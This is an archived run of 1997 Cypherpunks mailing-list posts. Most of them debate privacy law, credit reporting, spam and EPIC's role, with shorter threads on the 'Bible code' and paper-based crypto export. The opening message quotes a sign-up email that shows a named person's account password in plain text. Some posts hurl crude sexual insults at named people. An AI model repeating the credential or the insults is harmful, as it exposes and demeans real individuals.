>Reply-To: "sixdegrees" 
>Subject: Stanton McCandlish
>Date: Sat, 31 May 1997 13:45:12 Eastern Daylight Time
>
>Name: May Tim
>E-Mail Address: tcmay at mail.got.net
>sixdegrees Password: cusproll
>
>You've been listed by Stanton McCandlish as "Acquaintance"
>as part of a free Internet networking service called sixdegrees(tm).
>
>WHAT WE ARE:
>
>   sixdegrees is a Web site at http://www.sixdegrees.com/ that's
>   based on the theory that everyone on earth is connected to
>   everyone else through a path of six people or less. We hope to
>   use the power of the Internet to revolutionize the way people
>   network.
>
>WHAT'S IN IT FOR YOU:
>
>   You can come to http://www.sixdegrees.com/ and use our FREE
>   services to network with the people you want to know through
>   the people you do know. You can find out how you're connected
>   to specific people, like that person who's interviewing you for
>   a new job next week. Or, you can find out how you're connected
>   to certain kinds of people, like pediatricians in San Francisco,
>   or inline skaters in New York.
>
>WHAT'S IN IT FOR US:
>
>   We make money by selling ads on the sixdegrees site. We
>   never sell lists of names or any specific information about
>   our individual members to anybody. To find out more about
>   our policies regarding privacy, just visit
>   http://www.sixdegrees.com/about/privacy.cfm
>
>HOW IT WORKS:
>
>   If you list your contacts and how you know them, we'll forward
>   them an email like this one. They'll be invited to confirm their
>   relationship to you and to participate in sixdegrees themselves
>   by listing their contacts.
>
>WHAT TO DO NEXT:
>
>   Just reply to this e-mail by following the INSTRUCTIONS below
>   (you may want to print it out first - it's easier that way.)
>
>
>   And remember to visit http://www.sixdegrees.com/. Click on Services,
>   log-in with your password, which is cusproll, and enjoy
>   networking on a whole new level.
>
>===================================================================
>INSTRUCTIONS FOR REPLYING:
>
>FIRST:
>
>   Click your mail program's REPLY button.
>
>SECOND:
>
>   On the FIRST line of the message body of the reply e-mail that
>   opens, type only the word CONFIRM or DENY to let us know if you
>   are in fact Stanton's Acquaintance.
>
>THIRD:
>   On the next line of the message body list the first and last names
>   and e-mail addresses of at least TWO people you know, and the
>   relationship numbers that correspond with how those people are
>   related to you.
>
>MAKE SURE:
>
>*  That the first name, last name, e-mail address and relationship
>   number are separated by SEMI-COLONS.
>
>*  You list at least TWO people if you want to become a member.
>   (You can list as many as you want - the more you list, the
>   larger your network of contacts will be.)
>
>*  Each entry is on its OWN LINE.
>
>*  You follow the format of these examples:
>
>      John; Smith; jsmith at fakeplace.com; 12
>      Jane; Doe; superjane at fakeplace.com; 3
>
>*  And that you define each relationship by choosing a number from
>   this list:
>
> 1=wife              2=husband              3=life partner
> 4=significant other 5=mother               6=father
> 7=sister            8=brother              9=daughter
>10=son              11=other family member 12=friend
>13=employer         14=employee            15=co-worker
>16=client           17=service provider    18=business contact
>19=fellow alum      20=acquaintance
>
>
>FOURTH:
>
>   Click send, and that's it. We look forward to hearing from you.
>
>===================================================================
>
>** PLEASE NOTE: All replies to this address are processed by a
>   computer. If you have any problems, questions or requests send an
>   e-mail to issues at sixdegrees.com and someone will get back to you
>   as soon as possible.
>
>** If you'd rather not participate in sixdegrees and would prefer
>   not to receive any further e-mails from us at this time, please
>   send an e-mail to remove at sixdegrees.com that says "REMOVE ME".
>
>===================================================================
>
>
>
>E.DB.ANB.1
>







From rotenberg at epic.org  Sat May 31 12:13:59 1997
From: rotenberg at epic.org (Marc Rotenberg)
Date: Sun, 1 Jun 1997 03:13:59 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 



Back to Tim's original point, I wonder if he knows
that the P-TRAK data that Lexis/Nexis said was
"public information" was actually taken from
credit reports collected and sold by TransUnion.
TU was able to sell the data because of a loophole
in the Fair Credit Reporting Act. Sure, you post
to the net that's public, but a lot of data collection
is much more sleazy.

I'd also appreciate some comment/criticism on
the piece I did for Wired. My point was that
in countries where there are legal rights to
privacy it will be easier for technologies of privacy
to flourish. I gave as examples the fact that PRZ
was nearly indicted in the US while David Chaum
was being applauded by the European Commission
for building anonymous payment schemes. The OECD
crypto policy drafting experience confirmed my
suspicion.

Let me also try to explain how the simple-minded
First Amendment-privacy rights trade-off often
misses the point about privacy claims.  Consider
the article about Judge Bork's video viewing
habits back in 1987. Should Congress/the Courts
prevent City Paper from publishing the article?
Of course not. Could Congress/the Courts require
video record stores not to disclose customer
records without explict consent? You decide.

For the hardcore free market types, take a look
at Posner's *Economics of Justice.* There are
good economic reasons for privacy laws, e.g.
do you really want to negotiate with the telcos
on a case-by-case basis whether they can sell
the contents of your phonecalls?

To be clear, I do believe that there should be
laws to protect the right of privacy and that
there should be an office within the federal
government to advocate on behalf of privacy
interests. I also believe that if such an agency
had been established in 1991 when it was proposed,
it would have been much harder for the government
to push subsequently for digital telephony, Clipper,
GAK, etc.

Marc.




At 12:12 PM -0400 5/31/97, Declan McCullagh wrote:
>I'm now more awake than I was before, and a little less
>flippant, so let me try to respond to Marc's statement
>saying my summary of his "views on privacy below are
>just silly."
>
>The initial question has to be not how you protect rights,
>but how you define them. For example, we have a right
>to speak freely; there should be strict limits on
>government controls on free expression or the press.
>The state has unique powers of coercion. Similarly,
>there should be strict limits on government collection
>of personal data about its citizens.
>
>But transactional privacy is a different matter. Sure,
>we may generally agree that privacy is the famous
>"right to be left alone," but how does that extend to
>what happens when I make an affirmative choice to
>connect to a web site that might record some info
>about my visit -- as an alternative to charging me?
>Nobody's forcing me to visit that site. That's why
>I'm starting to come around to the idea that privacy
>is not a universal right but a preference. We need a
>market in privacy, not inflexible FTC rulemaking.
>
>Oh, and the much-touted European Privacy Directive has
>made it near-impossible to exchange employee
>information between branches of the same firm that are
>physically in different countries. Bad move,
>Eurocrats.
>
>-Declan
>
>
>
>On Sat, 31 May 1997, Marc Rotenberg wrote:
>
>> People who are interested in why I am pro-individual freedom
>> but not anti-government should take a look a my piece in Wired
>> "Eurocrats Do Good Privacy." [4.05]
>>
>> I spent a year working for a good crypto policy at the OECD.
>> During that time I watched European government officials
>> argue for constitutional freedoms and against key escrow,
>> while business representatives quietly backed the US
>> GAK plan. Welcome to the real world.
>>
>> Marc.
>>
>> Btw - Declan's summary of our views on privacy below are
>> just silly. Many of the greatest defenders of First Amendment
>> freedoms have also felt most strongly about the right of
>> privacy. The question is always how you protect rights.
>> Perhaps libertarians would do away with all laws that protect
>> personal freedoms. Bad call.
>>
>>
>>  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
>> >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
>> >really, for he's capable of better. Let me respond. I may not be very
>> >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
>> >went to some cheezy Crystal City sports bar afterwards. I just got back
>> >home, and it's 3:20 am...
>> >
>> >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
>> >with cypherpunk and libertarian positions on some issues. So we have
>> >issue-by-issue alliances with them. Let's break it down:
>> >
>> >------------------------------
>> >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
>> >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
>> >latest VTW alert sent out today even mention that portion of the bill, let
>> >alone criticize it?
>> >
>> >ANONYMITY: No other group in DC is such a staunch supporter of online
>> >anonymity publicly, though look for something from Cato soon. In fact, I
>> >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
>> >Many business groups don't like anonymity online -- hurts the marketeers.
>> >
>> >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
>> >they've said some of the anti-spam legislation is unconstitutional.
>> >
>> >FOIA: David Sobel does fabulous work snagging government documents the
>> >spooks don't want released.
>> >
>> >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
>> >Federal Privacy Commission (or something similar). Lots of laws,
>> >bureaucracies. Though EPIC does realize there's a First Amendment; other
>> >privacy groups are even more aggressive. EPIC is of course on the side of
>> >libertarians when it comes to government violations of privacy.
>> >------------------------------
>> >
>> >From a libertarian perspective, EPIC is good on everything but privacy. On
>> >that they want Big Government solutions.
>> >
>> >But that doesn't mean we reject and condemn what they do on other issues.
>> >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
>> >bunch of ultraconservative wackos? Do we reject the National Organization
>> >for Women's position on the CDA as bad because they're a bunch of
>> >ultraliberal wackos? How about the National Association of Broadcaster's
>> >amicus brief against the CDA? The Christian Coalition rejecting a national
>> >ID cards and numbers? Ralph Nader wanting open access to government
>> >databases?
>> >
>> >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
>> >are not always, but are often, our allies.
>> >
>> >-Declan
>> >
>> >
>> >On Fri, 30 May 1997, Tim May wrote:
>> >
>> >>
>> >> I suppose I am developing a reputation amongst the Inside the Beltway
>>Cyber
>> >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see
>>one of
>> >> their chief spokeswonks giving a policy statement I realize they are "not
>> >> on my side."
>> >>
>> >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>> >> anti-spam legislation, saying that what the legislators in Congress
>>really
>> >> need to look into is how the spammers develop their data bases.....
>> >>
>> >> Incredible. Does he propose investigations of private data gathering?
>> >> Perhaps search warrants served on those who take public postings and
>> >> construct data bases?
>> >>
>> >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
>> >> realize the "spammers" are merely  taking publicly available (= legally
>> >> available, as 99.99% of all such information is) information and using
>> >> legal channels to contact me. I may not "like" it, but their behavior
>>is as
>> >> legal as someone calling me on the phone.
>> >>
>> >> (And ny nearly any measure of hassle factor, dashing to get to the phone
>> >> only to find it's a salesman selling something I don't want is worse than
>> >> any 20 unwanted e-mail messages.)
>> >>
>> >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
>> >> compilation and use of public information.
>> >>
>> >> These people are NOT our allies.
>> >>
>> >> --Tim May
>> >>
>> >> There's something wrong when I'm a felon under an increasing number
>>of laws.
>> >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>> >>
>>---------:---------:---------:---------:---------:---------:---------:----
>> >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
>> >> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms,
>>zero
>> >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
>>markets,
>> >> Higher Power: 2^1398269     | black markets, collapse of governments.
>> >> "National borders aren't even speed bumps on the information
>>superhighway."
>> >>
>> >>
>> >>
>> >>
>> >>
>>
>>
>>
>> ==================================================================
>> Marc Rotenberg, director                *   +1 202 544 9240 (tel)
>> Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
>> 666 Pennsylvania Ave., SE Suite 301     *   rotenberg at epic.org
>> Washington, DC 20003   USA              +   http://www.epic.org
>> ==================================================================
>>
>>
>>
>>








From dlv at bwalk.dm.com  Sat May 31 12:33:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 03:33:47 +0800
Subject: The Bible Code
In-Reply-To: <199705311659.MAA27760@dhp.com>
Message-ID: 


lucifer at dhp.com (lucifer Anonymous Remailer) writes:
> I will shortly be releasing my new book, "The ASCII Code" which
> outlines the predictions made based on decrypting the hidden
> messages in the ASCII artwork sent to the cypherpunks list.
>
> Since none of the predictions have proven accurate, my book
> speculates that perhaps Tim May isn't a cocksucker, after all.

But John Gilmore is surely a cocksucker.

I've met Rips, who's supposedly behind this "bible code" nonsense.
He's an asshole, and I dismiss anything he says as total bullshit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From jya at pipeline.com  Sat May 31 12:45:51 1997
From: jya at pipeline.com (John Young)
Date: Sun, 1 Jun 1997 03:45:51 +0800
Subject: Seismic Data Authenticator
Message-ID: <1.5.4.32.19970531192953.006e1870@pop.pipeline.com>


Bill Payne has provided his 1992 Sandia report:

   "Data Authenticator for the Deployable Seismic 
   Verification System"

Marked "For Official Use Only."

The 185-page paper describes in fine detail the
design, data security and fabrication (with photos and 
technical drawings) of the third generation authentification
device for verfiying seismic data in connection with the 
nuclear weapons control-START treaties with the USSR.

The paper also cites deficient cryptographic algorithms 
provided by NSA for the device.

   http://jya.com/da/whpda.htm   (98K)







From tcmay at got.net  Sat May 31 12:52:06 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 03:52:06 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>Back to Tim's original point, I wonder if he knows
>that the P-TRAK data that Lexis/Nexis said was
>"public information" was actually taken from
>credit reports collected and sold by TransUnion.
>TU was able to sell the data because of a loophole
>in the Fair Credit Reporting Act. Sure, you post
>to the net that's public, but a lot of data collection
>is much more sleazy.

In my view, the Fair Credit Reporting Act is an unconstitutional
restriction on my right to compile records as I see fit.

Under the FCRA, if I take newspaper reports and public filings, for
example, of someone's bankruptcy in 1985 and make this part of "Tim's
Credit Evaluation" of that person, I have violated the FCRA.

(I believe the current "limit" for such "rememberances" is 8 years. Why
should the government have any ability to tell me I must "forget" records
older than 8 years? In fact, what part of "Congress shall make no law..."
do they not understand?)

More  to the point of the Cypherpunks list--and this is something we talked
about at the very first physical meeting, almost 5 years ago--it will
become increasingly easy for the FCRA to be bypassed with offshore data
havens.

Such data havens, discussed in physical form by Sterling in '88 ("Islands
in the Net"), and others (some even earlier than Sterling), and in
"cyberspace" form by many us (e.g., BlackNet, a working cyberspace data
haven), will be completely unaffected by legislation such as the FCRA.

(Though what will happen is that legislators will attempt to felonize
contacts with such data bases, much as they are doing with Internet
gambling. Remailers and Web proxies solve this problem. The usual arms
race.)

>I'd also appreciate some comment/criticism on
>the piece I did for Wired. My point was that
>in countries where there are legal rights to
>privacy it will be easier for technologies of privacy
>to flourish. I gave as examples the fact that PRZ
>was nearly indicted in the US while David Chaum
>was being applauded by the European Commission
>for building anonymous payment schemes. The OECD
>crypto policy drafting experience confirmed my
>suspicion.

I seldom read "Wired," so I didn't see this one. But the issues of Europe
vs. the U.S. are notoriously complex. For every "Europe is better" point,
such as not applying pressure to PRZ, there are the obvious counterpoints,
such as Compuserve being prosecuted in Germany, the nearly full ban on
crypto in France, the extradition of an American neo-Nazi publisher from
Belgium to Germany, and so on.

And as for Chaum and Digicash, Digicash is now in Silicon Valley. No firm
conclusions can be drawn one way or another.

Oh, and as for privacy in Europe, I'll remember how much they cherish
privacy the next time I'm required to leave my passport with the hotel
front desk (Europeans confirm that the police compile lists each night from
said deposited passports). They were still doing this in 1983 when I spent
6 weeks travelling through Europe; and it wasn't to ensure I'd pay my bill,
as they had my credit card stuff for that.


>Let me also try to explain how the simple-minded
>First Amendment-privacy rights trade-off often
>misses the point about privacy claims.  Consider
>the article about Judge Bork's video viewing
>habits back in 1987. Should Congress/the Courts
>prevent City Paper from publishing the article?
>Of course not. Could Congress/the Courts require
>video record stores not to disclose customer
>records without explict consent? You decide.

The best solution is neither of these options: Video rental stores don't
need True Names except to collect on unreturned tapes. (They might _like_
True Names, or at least mailing addresses, for advertising reasons, but
they don't _need_ them, and, like Radio Shack, will not make it a
requirement for a transaction.)

As with other such items, deposits work well here. My localvideo store does
not require true names, so long as a sufficient deposit is left for each
tape. Most persons use credit cards as the "return guaranty." Note also
that credit cards need not be in the true name of anyone, via various
options, much discussed on various lists.


>For the hardcore free market types, take a look
>at Posner's *Economics of Justice.* There are
>good economic reasons for privacy laws, e.g.
>do you really want to negotiate with the telcos
>on a case-by-case basis whether they can sell
>the contents of your phonecalls?

Such negotiations would likely not be on a case by case basis, for
transaction cost reasons on both sides. But I have no problem with
"allowing" a phone company to offer a cheaper service, for example, which
told customers it would sell the contents of the calls, or insert
advertisements at random intervals during a call, or whatever.

(Or even a phone company which offered to negotiate on a per call
basis...as with the cases above, I expect such a venture would flop, but
that's a different issue from whether such services should be "allowed."

And, in fact, the situation Marc describes is already with us on the Web.
Some sites sell lists of those who hit their sites. How is this different
from the Bork or phone cases?

It isn't.


>To be clear, I do believe that there should be
>laws to protect the right of privacy and that
>there should be an office within the federal
>government to advocate on behalf of privacy
>interests. I also believe that if such an agency
>had been established in 1991 when it was proposed,
>it would have been much harder for the government
>to push subsequently for digital telephony, Clipper,
>GAK, etc.

I don't believe there should be such laws, obviously.

And more importantly, strong crypto provides numerous monkeywrenchings of
such laws.

Pass a law requiring return addresses on all messages....the effect will be
to move the spam sites offshore. Then what do you do?

Pass a law like the Fair Credit Reporting Act saying it's a crime for Tim
May to "remember" and "tell others" that Suzie Hopkins skipped out on her
rent in 1988...the effect will be for the TransUnions and Equifaxes of the
near future to locate themselves in the Cayman Islands, beyond the FCRA.

Pass a law to make it a crime for a prospective employer or lender to
connect to this site in the Cayman Islands...the effect will be to increase
use of Web proxies and anonymous remailers.

And so on. Crypto anarchy means monkeywrenching these do-gooder laws.

(When EPIC and ACLU figure out the real implications of strong crypto, look
for them to talk about "compromises" on access to strong crypto....hey,
maybe SAFE is an indication they've started to realize what is coming.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From adam at homeport.org  Sat May 31 12:57:35 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 1 Jun 1997 03:57:35 +0800
Subject: legal EAR work-around/Paper based remailers
In-Reply-To: <199705310853.JAA00659@server.test.net>
Message-ID: <199705311943.PAA10259@homeport.org>


Adam Back wrote:

| Technical questions: If this is to include uuencoded or radix-64 mime
| encoding, we might want to think about redundancy to allow error
| correction.  Perhaps we want that anyway to ensure that what we have
| is 100% character-by-character perfect.  Or perhaps not as it may
| damage the legality aspects.  They may start saying that you can only
| export human readable stuff on paper, etc.  Then we move on to `texto'
| apparently human readable steganographically encoded paper based
| remailer messages.

	The place we really want the redundancy is in the alphabet
used, not in the data.  Most OCR systems have clever algorithims to
figure out that that blob after a 'q' is really a 'u'.

	To take advantage of this, you could encode everything in
RFC1751(?, S/Key style) word lists.  The expansion factor is extreme,
so use gzip --best.

	Alternately, you could turn off context sensitivity on your
scanner, and use an alphabet of abcdfgijknopqrstuvxyz (depending on
your font--in lucida these are all pretty dissimilar, using a
hueristic of 'more than one led bar' different.)

	With some experimentation, you might be able to expand that a
bit with punctuation and numbers.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From whgiii at amaranth.com  Sat May 31 12:58:48 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 1 Jun 1997 03:58:48 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: <199705311944.OAA23276@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/31/97 
   at 03:02 PM, Marc Rotenberg  said:

>For the hardcore free market types, take a look
>at Posner's *Economics of Justice.* There are
>good economic reasons for privacy laws, e.g.
>do you really want to negotiate with the telcos
>on a case-by-case basis whether they can sell
>the contents of your phonecalls?

 It's really a shame when Socialist/Statest try to use the "free
market" to justify big government.

Your example is *not* how the free market would address the issue. If the
Telco's tried to sell the contents of indivdule's phone calls there would
be an increased demand for encrypted phones. This demand would then be met
by the electroins/communication industry (granted there would be some lag
time between the initial selling of phone contents and the first
crypto-phones getting to market but hey nothings perfect).

Now if we had a truely free market in the Telco Industry the consumer
would have the choice between several telco compaines to deal with. If one
decided to start selling recordings of its customers phone conversations
it's customers would leave in droves to its competition.

This is just simple economics 101. You can't have a free society in a
socialist, federally regulated economy.


More government agencies, rules & regulations are *NEVER* a solution.

It's an intresting side note that the reason why the Cell Phones in this
country do not use strong crypto is because of the intervention of the FCC
and associated Federal LEA's.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5CAc49Co1n+aLhhAQGRRwP+M5pdhLEsaGqzkdCf2KJRlTOLAlQ5tpaK
GO9E05WETO2HW51jbo4mC7JZW84MYWYnD3buHJctHgCzcE0Axwnt5FxwDUygKhD7
GGILhaXQvL1UQ23sOFYnKNPqPIfyIgdehVl7RJDwa8EuYbqtO8MkdUQc7Do5GnIC
cBjK8ysHizo=
=lr/x
-----END PGP SIGNATURE-----






From mnorton at cavern.uark.edu  Sat May 31 13:21:50 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sun, 1 Jun 1997 04:21:50 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


On Sat, 31 May 1997, Marc Rotenberg wrote:

> Let me also try to explain how the simple-minded
> First Amendment-privacy rights trade-off often
> misses the point about privacy claims.  Consider
> the article about Judge Bork's video viewing
> habits back in 1987. Should Congress/the Courts
> prevent City Paper from publishing the article?
> Of course not. Could Congress/the Courts require
> video record stores not to disclose customer
> records without explict consent? You decide.

Well, this may merely point up the fact that next to
government--or perhaps more than gov't--the greatest
threat to privacy is the existence of a free press.
That trade-off may be simple, but "simple-minded" seems
a little strongly put.

As for Posner, who's often good for a laugh, particularly 
when taken out of context, his point so often reduces to
a simple one itself: Which is easier (cheaper, more efficient,
etc.), law or the market?  Given that perfection in markets,
as in golf and most other things, is unattainable, sometimes
we shall have to resort to law, as in the "negotiating with the
telephone company" example.  But I think these are exceptions
to Tim's points, not necessarily invaliations of them.
MacN






From dlv at bwalk.dm.com  Sat May 31 13:54:13 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 04:54:13 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


Tim May  writes:
> Like speaking in French amongst other people who don't understand French,
> or using hand signals, or using a code book. Or whispering.

It amuses me to hear this from the ignoramus who preaches that there's
no need for Americans to learn foreign languages.

It also reminds of a recent case when Spanish-speaking nurses were
disciplined for speaking Spanish in the presense of their supervisor
who didn't understand it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 31 13:58:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 04:58:34 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


Marc Rotenberg  writes:
> Let me also try to explain how the simple-minded
> First Amendment-privacy rights trade-off often
> misses the point about privacy claims.  Consider
> the article about Judge Bork's video viewing
> habits back in 1987. Should Congress/the Courts
> prevent City Paper from publishing the article?
> Of course not. Could Congress/the Courts require
> video record stores not to disclose customer
> records without explict consent? You decide.

This law is unenforceable.  If you want to rent porn videos and you have
some brains (the two may be mutually exclusive...) you'd pay cash and
make the transaction totally anonymous.

Should there also be a law against grocers keeping track of who's buying what?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 31 14:01:00 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 05:01:00 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


Declan McCullagh  writes:

>
> On Sat, 31 May 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Of course, the "anti-spamming" laws will also be used to suppress the
> > "politically incorrect" speech.  Recall that Jim Bell has already been
> > accused of "spamming", in addition to other crimes.
>
> Uh, no. Bell was charged with violating:
>
> 26 U.S.C. Section 7212(a)
> 42 U.S.C. Section 408(a)
>
> Which are, generally, attempts to interfere with administration of
> internal revenue laws and fraudulent use of a false SSN.
>
> Besides, spamming isn't a criminal offense, last time I checked.
>
> In the interests of completeness, I should note that I just finished a
> rather long article about Bell's arrest and related events for Internet
> Underground magazine. The government hinted that they might have
> additional charges to file against Bell by the time the grand jury
> convenes in probably two weeks. He is currently being held without bail, a
> situation more common in Federal than state courts.

We're talking about different things, Declan.  Learn to read.

I reposted someone's Usenet article whose author accused Jim of "spamming
the net" with his AP essay.  That's separate from his criminal charges.
If "spamming" were a crime, he'd probably be charged with that too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From chrisd at loc201.tandem.com  Sat May 31 14:01:30 1997
From: chrisd at loc201.tandem.com (Chris DiBona)
Date: Sun, 1 Jun 1997 05:01:30 +0800
Subject: The Bible Code
Message-ID: <01BC6DC8.92A51370@chrisd@loc201.tandem.com>


Hello again...

I see this sort of thing as being like when people see jesus in a bar of 
saop and charge a buck to the suckers who come to see it. Okay... here's 
the EMAIL code. I you read the following message:

On Saturday, May 31, 1997 12:10 PM, Dr.Dimitri Vulis KOTM 
[SMTP:dlv at bwalk.dm.com] wrote:
> lucifer at dhp.com (lucifer Anonymous Remailer) writes:
> > I will shortly be releasing my new book, "The ASCII Code" which
> > outlines the predictions made based on decrypting the hidden
> > messages in the ASCII artwork sent to the cypherpunks list.
> >
> > Since none of the predictions have proven accurate, my book
> > speculates that perhaps Tim May isn't a cocksucker, after all.
>
> But John Gilmore is surely a cocksucker.
>
> I've met Rips, who's supposedly behind this "bible code" nonsense.
> He's an asshole, and I dismiss anything he says as total bullshit.
>
> ---
>
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 
14.4Kbps
>

and put it though a filter using the "bible code" method.. you get :

stupid dorks will buy this book.


>From characters :

3,5,6,.... you get the point.

Suckers.

   Chris DiBona






From rotenberg at epic.org  Sat May 31 14:45:46 1997
From: rotenberg at epic.org (Marc Rotenberg)
Date: Sun, 1 Jun 1997 05:45:46 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


>At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>>Back to Tim's original point, I wonder if he knows
>>that the P-TRAK data that Lexis/Nexis said was
>>"public information" was actually taken from
>>credit reports collected and sold by TransUnion.
>>TU was able to sell the data because of a loophole
>>in the Fair Credit Reporting Act. Sure, you post
>>to the net that's public, but a lot of data collection
>>is much more sleazy.
>
>In my view, the Fair Credit Reporting Act is an unconstitutional
>restriction on my right to compile records as I see fit.
>
>Under the FCRA, if I take newspaper reports and public filings, for
>example, of someone's bankruptcy in 1985 and make this part of "Tim's
>Credit Evaluation" of that person, I have violated the FCRA.
>
>(I believe the current "limit" for such "rememberances" is 8 years. Why
>should the government have any ability to tell me I must "forget" records
>older than 8 years? In fact, what part of "Congress shall make no law..."
>do they not understand?)

It's an interesting argument. I don't agree, though
you can certaintly try it. But more to the point of
your original post, is the information that TransUnion
sold to Lexis/Nexis for P-TRAK "public information"?
If yes, what is private information?

>More  to the point of the Cypherpunks list--and this is something we talked
>about at the very first physical meeting, almost 5 years ago--it will
>become increasingly easy for the FCRA to be bypassed with offshore data
>havens. . . .

I know all these arguments. Some people said not to worry
about passage of the CDA since it couldn't be enforced.
Nice thought.  Fortunately, ACLU, EPIC, et al challenged
it in court.

>>I'd also appreciate some comment/criticism on
>>the piece I did for Wired. My point was that
>>in countries where there are legal rights to
>>privacy it will be easier for technologies of privacy
>>to flourish. I gave as examples the fact that PRZ
>>was nearly indicted in the US while David Chaum
>>was being applauded by the European Commission
>>for building anonymous payment schemes. The OECD
>>crypto policy drafting experience confirmed my
>>suspicion.
>
>I seldom read "Wired," so I didn't see this one. But the issues of Europe
>vs. the U.S. are notoriously complex. For every "Europe is better" point,
>such as not applying pressure to PRZ, there are the obvious counterpoints,
>such as Compuserve being prosecuted in Germany, the nearly full ban on
>crypto in France, the extradition of an American neo-Nazi publisher from
>Belgium to Germany, and so on.

I agree that there are real threats to cyber freedom in Europe.
I'm not saying otherwise. But my point is that anonymous remailers
and the like will have a better future in countries that recognize
a right of anonymity as opposed to those that don't.

>And as for Chaum and Digicash, Digicash is now in Silicon Valley. No firm
>conclusions can be drawn one way or another.

Yeah, right. And the Euro countries are pushing just as hard for
key escrow as the US govt.

>
>Oh, and as for privacy in Europe, I'll remember how much they cherish
>privacy the next time I'm required to leave my passport with the hotel
>front desk (Europeans confirm that the police compile lists each night from
>said deposited passports). They were still doing this in 1983 when I spent
>6 weeks travelling through Europe; and it wasn't to ensure I'd pay my bill,
>as they had my credit card stuff for that.

Fine. And I almost got arrested two weeks ago (May 1997) walking out
of the Library of Congress cause I didn't want to fill out a form with
my name and the serial number of my computer.


>>Let me also try to explain how the simple-minded
>>First Amendment-privacy rights trade-off often
>>misses the point about privacy claims.  Consider
>>the article about Judge Bork's video viewing
>>habits back in 1987. Should Congress/the Courts
>>prevent City Paper from publishing the article?
>>Of course not. Could Congress/the Courts require
>>video record stores not to disclose customer
>>records without explict consent? You decide.
>
>The best solution is neither of these options: Video rental stores don't
>need True Names except to collect on unreturned tapes. (They might _like_
>True Names, or at least mailing addresses, for advertising reasons, but
>they don't _need_ them, and, like Radio Shack, will not make it a
>requirement for a transaction.)
>
>As with other such items, deposits work well here. My localvideo store does
>not require true names, so long as a sufficient deposit is left for each
>tape. Most persons use credit cards as the "return guaranty." Note also
>that credit cards need not be in the true name of anyone, via various
>options, much discussed on various lists.

I agree completely with this. I/EPIC have a strong preference for
anonymous transactions. And we've been fighting this one in DC
practically alone for a long time.

The question is what are you going to do with companies
that won't let you buy a product unless you provide
your True Name?

One of the consequences of legal obligations on companies
that collect personal information might be to encourage
